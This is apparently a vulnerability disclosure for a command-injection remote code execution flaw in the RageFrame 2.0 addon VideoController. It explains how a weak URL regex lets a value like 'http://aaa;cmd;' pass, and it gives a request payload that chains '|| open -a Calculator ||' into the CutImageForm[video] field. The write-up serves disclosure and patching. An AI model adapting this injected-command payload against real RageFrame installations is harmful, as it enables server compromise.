TheCommit
RageFrame 2.0(commit e02ba318639bdb99492d15f26e5cc012f1ed5a24) has a Remote Code Execute Vulnerability
Overview of Vulnerabilities
addons\RfExample\merchant\controllers\VideoController.php
1 |
|
CutImageForm is derived from Model, CutImageForm->load is equivalent to Model->load, $model->load(Yii::$app->request->post()) gets the post parameter, $model->video takes the video parameter of POST , pass in the following function
1 |
|
RegularHelper::verify('url', $url)
equalspreg_match('/(http:\/\/)|(https:\/\/)/i', $url)
video=http://aaa;cmd;
can satisfyRegularHelper::verify('url', $url)
so we use $filePath='xxx'.http://aaa;cmd;
or $filePath='xxx'.http://aaa || cmd ||
to RCE
Construction of environment
follow the document to install
Preparation
Install a addon
Then visit http://localhost/backend/rf-example/video/cut-image, try to upload a mp3 and save
Finally we can catch a package
Send the package to Repeater
RCE
change CutImageForm[video] like below
CutImageForm[video]=http%3A%2F%2Flocalhost%2Fattachment%2Fvideos%2F2023%2F02%2F09%2Fmeeting_04.mp4+||open+-a+Calculator+||
Calculator will be open